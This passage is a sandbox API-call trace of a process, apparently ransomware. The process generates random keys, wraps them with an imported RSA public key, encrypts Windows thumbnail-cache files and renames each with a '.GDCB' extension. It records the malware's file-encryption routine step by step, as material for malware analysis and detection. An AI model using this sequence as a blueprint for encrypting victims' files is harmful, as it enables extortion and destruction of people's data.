dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0205.324] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.324] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.324] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.324] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.325] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0205.326] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.327] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.327] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.327] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.327] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0205.329] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0bd0) returned 1 [0205.329] CryptGetKeyParam (in: hKey=0x50d0bd0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.329] CryptEncrypt (in: hKey=0x50d0bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.329] GetLastError () returned 0x0 [0205.329] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.329] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0205.331] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0fd0) returned 1 [0205.331] CryptGetKeyParam (in: hKey=0x50d0fd0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.331] CryptEncrypt (in: hKey=0x50d0fd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.331] GetLastError () returned 0x0 [0205.331] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.331] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_96.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0205.333] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b60000 [0205.335] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b70000 [0205.336] ReadFile (in: hFile=0x510, lpBuffer=0x6b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b70000*, lpNumberOfBytesRead=0x285d670*=0x18, lpOverlapped=0x0) returned 1 [0205.344] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c80000 [0205.345] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c90000 [0205.346] VirtualFree (lpAddress=0x6c80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.347] SetFilePointer (in: hFile=0x510, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.347] WriteFile (in: hFile=0x510, lpBuffer=0x6c90000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6c90000*, lpNumberOfBytesWritten=0x285d668*=0x20, lpOverlapped=0x0) returned 1 [0205.347] VirtualFree (lpAddress=0x6c90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.348] VirtualFree (lpAddress=0x6b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.352] WriteFile (in: hFile=0x510, lpBuffer=0x6b40000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b40000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.352] WriteFile (in: hFile=0x510, lpBuffer=0x6b50000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.352] WriteFile (in: hFile=0x510, lpBuffer=0x6b60000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b60000*, lpNumberOfBytesWritten=0x285d668*=0x10, lpOverlapped=0x0) returned 1 [0205.352] CloseHandle (hObject=0x510) returned 1 [0205.353] VirtualFree (lpAddress=0x6b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.354] VirtualFree (lpAddress=0x6b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.355] VirtualFree (lpAddress=0x6b50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.356] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_96.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_96.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_96.db.gdcb")) returned 1 [0205.360] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0205.361] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.362] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.362] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.362] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0205.362] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0205.364] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.364] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.364] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.364] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.365] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0205.367] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d1010) returned 1 [0205.367] CryptGetKeyParam (in: hKey=0x50d1010, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.367] CryptEncrypt (in: hKey=0x50d1010, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.367] GetLastError () returned 0x0 [0205.367] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.367] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0205.369] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0910) returned 1 [0205.369] CryptGetKeyParam (in: hKey=0x50d0910, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.369] CryptEncrypt (in: hKey=0x50d0910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.369] GetLastError () returned 0x0 [0205.369] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.369] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_custom_stream.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_custom_stream.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0205.371] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b60000 [0205.372] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b70000 [0205.373] ReadFile (in: hFile=0x510, lpBuffer=0x6b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b70000*, lpNumberOfBytesRead=0x285d670*=0x18, lpOverlapped=0x0) returned 1 [0205.384] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c80000 [0205.385] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c90000 [0205.386] VirtualFree (lpAddress=0x6c80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.387] SetFilePointer (in: hFile=0x510, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.387] WriteFile (in: hFile=0x510, lpBuffer=0x6c90000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6c90000*, lpNumberOfBytesWritten=0x285d668*=0x20, lpOverlapped=0x0) returned 1 [0205.387] VirtualFree (lpAddress=0x6c90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.388] VirtualFree (lpAddress=0x6b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.392] WriteFile (in: hFile=0x510, lpBuffer=0x6b40000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b40000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.392] WriteFile (in: hFile=0x510, lpBuffer=0x6b50000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.392] WriteFile (in: hFile=0x510, lpBuffer=0x6b60000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b60000*, lpNumberOfBytesWritten=0x285d668*=0x10, lpOverlapped=0x0) returned 1 [0205.392] CloseHandle (hObject=0x510) returned 1 [0205.392] VirtualFree (lpAddress=0x6b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.393] VirtualFree (lpAddress=0x6b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.394] VirtualFree (lpAddress=0x6b50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.395] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_custom_stream.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_custom_stream.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_custom_stream.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_custom_stream.db.gdcb")) returned 1 [0205.400] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0205.402] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.402] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.403] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.403] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.403] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0205.404] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.405] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.405] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.405] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.405] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0205.407] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0a50) returned 1 [0205.407] CryptGetKeyParam (in: hKey=0x50d0a50, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.407] CryptEncrypt (in: hKey=0x50d0a50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.407] GetLastError () returned 0x0 [0205.407] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.407] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0205.409] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0d90) returned 1 [0205.409] CryptGetKeyParam (in: hKey=0x50d0d90, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.409] CryptEncrypt (in: hKey=0x50d0d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.409] GetLastError () returned 0x0 [0205.409] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.410] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_exif.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_exif.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0205.411] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b60000 [0205.413] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b70000 [0205.414] ReadFile (in: hFile=0x510, lpBuffer=0x6b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b70000*, lpNumberOfBytesRead=0x285d670*=0x18, lpOverlapped=0x0) returned 1 [0205.422] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c80000 [0205.423] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c90000 [0205.424] VirtualFree (lpAddress=0x6c80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.425] SetFilePointer (in: hFile=0x510, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.425] WriteFile (in: hFile=0x510, lpBuffer=0x6c90000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6c90000*, lpNumberOfBytesWritten=0x285d668*=0x20, lpOverlapped=0x0) returned 1 [0205.425] VirtualFree (lpAddress=0x6c90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.426] VirtualFree (lpAddress=0x6b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.430] WriteFile (in: hFile=0x510, lpBuffer=0x6b40000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b40000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.430] WriteFile (in: hFile=0x510, lpBuffer=0x6b50000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.430] WriteFile (in: hFile=0x510, lpBuffer=0x6b60000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b60000*, lpNumberOfBytesWritten=0x285d668*=0x10, lpOverlapped=0x0) returned 1 [0205.430] CloseHandle (hObject=0x510) returned 1 [0205.431] VirtualFree (lpAddress=0x6b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.432] VirtualFree (lpAddress=0x6b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.433] VirtualFree (lpAddress=0x6b50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.434] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_exif.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_exif.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_exif.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_exif.db.gdcb")) returned 1 [0205.438] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0205.439] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.440] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.440] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.440] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0205.440] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0205.442] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.442] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.443] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.443] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0205.443] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0205.445] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0f50) returned 1 [0205.445] CryptGetKeyParam (in: hKey=0x50d0f50, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.445] CryptEncrypt (in: hKey=0x50d0f50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.445] GetLastError () returned 0x0 [0205.446] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.446] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0205.447] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0950) returned 1 [0205.447] CryptGetKeyParam (in: hKey=0x50d0950, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.447] CryptEncrypt (in: hKey=0x50d0950, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.448] GetLastError () returned 0x0 [0205.448] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.448] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_idx.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0205.451] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0205.453] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.454] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.454] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.454] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.454] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0205.455] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.456] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.456] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.456] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.456] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0205.458] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0b10) returned 1 [0205.458] CryptGetKeyParam (in: hKey=0x50d0b10, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.459] CryptEncrypt (in: hKey=0x50d0b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.459] GetLastError () returned 0x0 [0205.459] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.459] CryptAcquireContextW (in: phProv=0x285d4b4, 